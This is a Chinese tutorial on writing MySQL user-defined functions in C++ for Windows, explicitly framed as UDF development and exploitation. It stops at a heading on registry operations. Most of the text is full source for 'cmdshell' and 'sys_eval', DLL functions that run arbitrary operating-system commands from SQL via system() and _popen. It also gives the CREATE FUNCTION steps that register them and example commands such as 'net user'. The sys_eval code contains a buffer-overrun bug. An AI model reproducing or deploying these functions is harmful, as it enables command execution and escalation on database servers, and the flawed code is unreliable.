1、MySQL UDF是什么
UDF是Mysql提供给用户实现自己功能的一个接口,为了使UDF机制起作用,函数必须用C或C ++编写,并且操作系统必须支持动态加载。这篇文章主要介绍UDF开发和利用的方法。
2、UDF开发
操作系统:Windows 10
测试环境:PHPStudy+Mysql 5.5(x64)
编译器:VS2015
2.1 编译器方法
MySQL源码包
从MySQL官网下载对应版本的源码包,把MySQL对应版本的源码下载回来。将include文件夹和lib文件夹解压至C++项目路径。
VS2015配置-项目属性
将MySQL的include、lib文件夹放到C++项目路径后。属性配置如下:
include:VC++目录->包含目录->添加include目录
lib:VC++目录->库目录->添加lib目录
libmysql.lib:链接器->附加依赖项->添加libmysql.lib
2.2 调试方法
UDF在程序代码中加入调试OutputDebugStringA();就可以输出调试的信息了。在每个分支都输出相对应的调试信息,就可以获取当前运行的状态。
OutputDebugStringA("--UDF:my_name()被调用");
2.3 使用UDF扩展
// 注册函数
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll";
// 卸载函数
Drop function about;
// 使用函数
select about();
// 验证
select * from mysql.func where name = 'cmdshell';
2.4 CPP源码思路
执行CMDSHELL
使用方式:
# 创建cmdshell函数
CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c++.dll";
# 执行shell函数,如果不加路径默认路径在mysql的data目录下。例如:"D:\phpStudy\MySQL\data\helllo.txt"
select cmdshell("echo hello>>helllo.txt");
# 注销cmshell这个函数
Drop function cmdshell;
CPP源码如下:
#include
#include
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include
#include
#include
//--------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{ //参数长度
unsigned int i = 0;
if (args->arg_count == 1
&& args->arg_type[i] == STRING_RESULT) {
// 返回正常
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
//执行失败
return 1;
}
}
extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid,
UDF_ARGS *args,
char *result,
char *error)
{
// 利用sysytem函数执行命令
// 执行“net user >> hello.txt”命令,实际路径为D:\phpStudy\MySQL\data\hello.txt
// 执行数字例如:select cmdshell("1");就会导致MySQL结束服务。
return system(args->args[0]);
}
extern "C" __declspec(dllexport)void cmdshell_deinit(
UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
回显shell
回显shell编写尝试,跟没有回显的shell执行命令是一样的原理。
核心原理是创建一个管道,把命令结果输入管道读取出来后关闭管道。
使用方式:
# 创建sys_eval函数
CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c++.dll";
# 执行shell函数,如果不加路径默认路径在mysql的data目录下。例如:"D:\phpStudy\MySQL\data\helllo.txt"
select sys_eval("echo hello>>helllo.txt");
# 注销cmshell这个函数
Drop function sys_eval;
CPP源码如下:
#include
#include
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include
#include
#include
//--------
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{ //参数长度
unsigned int i = 0;
if (args->arg_count == 1
&& args->arg_type[i] == STRING_RESULT) {
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
FILE *pipe;
char buff[1024];
unsigned long outlen, linelen;
// 开辟内存
result = (char*)malloc(sizeof(char));
outlen = 0;
// 创建管道
pipe = _popen(args->args[0], "r");
// 读取管道数据
while (fgets(buff, sizeof(buff), pipe) != NULL) {
linelen = strlen(buff);
result = (char*)realloc(result, outlen + linelen);
// 把管道内容拷贝进返回结果里
strncpy(result + outlen, buff, linelen);
outlen = outlen + linelen;
}
// 关闭管道
_pclose(pipe);
// 当*is_null被设置为1时,返回值为NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
result[outlen] = 0x00;
*length = strlen(result);
}
// 返回结果
return result;
}
extern "C" __declspec(dllexport)void sys_eval_deinit(
UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
注册表操作